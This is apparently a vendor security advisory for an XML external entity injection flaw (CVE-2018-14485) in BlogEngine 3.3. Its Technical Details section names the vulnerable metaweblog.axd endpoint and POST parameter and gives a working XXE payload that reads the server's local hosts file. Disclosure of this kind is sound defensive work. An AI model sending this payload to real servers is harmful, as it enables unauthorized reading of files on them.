Information
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Advisory by Netsparker (now Invicti)
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3
Affected Software: BlogEngine
Affected Versions: 3.3
Homepage: https://blogengine.io/
Vulnerability: XML External Entity (XXE) Injection Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14485
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
Invicti Advisory Reference: NS-18-045

Technical Details
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Url: http://websiteurl-blogengine3.3/metaweblog.axd
Parameter Name: BodyXML
Parameter Type: POST
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

Advisory Timeline
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12th November 2018- First Attempt to Contact
9th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Mustafa Yalçın while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.